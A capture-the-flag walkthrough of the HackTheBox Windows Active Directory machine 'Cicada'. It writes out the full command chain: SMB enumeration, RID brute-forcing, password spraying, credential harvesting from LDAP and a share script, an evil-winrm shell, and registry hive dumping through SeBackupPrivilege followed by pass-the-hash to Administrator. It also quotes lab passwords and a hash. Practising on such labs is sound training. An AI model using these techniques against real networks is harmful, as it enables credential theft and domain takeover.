HackTheBox Cicada Walkthrough
Introduction
Cicada is easy Windows Active Directory box. it start off with enumerating SMB shares to find a new hire welcome note with a default password. RID-cycle to get a list of usernames, and spray that password to find a user still using it. With a valid user I can query LDAP to find another user with their password stored in their description. That user has access to a share with a dev script used for backup, and more creds. Those creds work to get a shell, and the user is in the Backup Operators group, so exfil the registry hives and dump the machine hashes.
| INFO | |
|---|---|
| CTF NAME | Cicada |
| Operating System | Windows |
| Diffculty | Easy |
| Retire date | 21 Sep 2024 |
| Points | 25 |
INFORMATION GATHERING
Information gathering reveals several ports open:
1 | SMB 445 |
ENUMERATION
SMB Enumeration
anonymous access
Checking smb port for anonymous access:
SMB Share enumeration unveils a notice from HR file inside the HR share, let’s check it out
note down the discovered default password: Cicada$M6Corpb*@Lp#nZp!8
with anonymous access enabled to the smb server, we can try to discover users with rid bruteforcing.
1 | oxdf@hacky$ netexec smb CICADA-DC -u guest -p '' --rid-brute |
cleaning the users list with grep
1 | └─$ cat names |grep SidTypeUser| grep -oP '\\\K[^ ]+' > users-list.txt |
checking password policy
Now i’m going to run a spraying attack at smb with the curated list of users and the found default password:
Discovered: michael.wrightson user
Credentialed Smb enumeration
dumping all users:
it appears david.orelious has left a gift for us, his Creds.aRt$Lp#7t*VQ!3 
Authenticated as david reveals the DEV share
DEV SHARE ENUMERATION
throughly enumerate content of the DEV share With the spider module:
1 | └─$ crackmapexec smb 10.10.11.35 -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3' --spider DEV --regex . |
Script file discovery
Inspecting the output of spider, i found a script file with credentials of another user
i found a PS-Credential object with emily.oscars credentials:
1 | $username = "emily.oscars" |
test out the credentials with evil-winrm:
user flag:
Privilege Escalation
checking privileges
1 | whoami /priv |
The SeBackupPrivilege can be used to gain read access to any file According to microsoft docs
there are many techniques avaiable to exploit this, but im going copy the hives registery manually using reg:
1 | *Evil-WinRM* PS C:\programdata> reg save hklm\sam sam |
now i’m going to extract the Administrator’s hash from the registery hives with secretsdump.py:
1 | $ secretsdump.py -sam sam -system system LOCAL |
or via reg.py
Impacket’s reg.py is a remote registry manipulation tool, providing similar functionality to reg.exe in Windows.
1 | $ reg.py 'cicada.htb/emily.oscars:Q!3@Lp#M6b*7t*Vt'@10.10.11.35 backup -o 'C:\windows\temp\' |
And then Download them over EvilWinRM:
1 | *Evil-WinRM* PS C:\windows\temp> download SYSTEM.save |
testing the hash
1 | $ netexec smb CICADA-DC -u administrator -H aad3b435b51404eeaad3b435b51404ee:2b87e7c93a3e8a0ea4a581937016f341 |
1 | $ evil-winrm -i cicada.htb -u administrator -H 2b87e7c93a3e8a0ea4a581937016f341 |
get the flag:
1 | *Evil-WinRM* PS C:\Users\Administrator\desktop> type root.txt |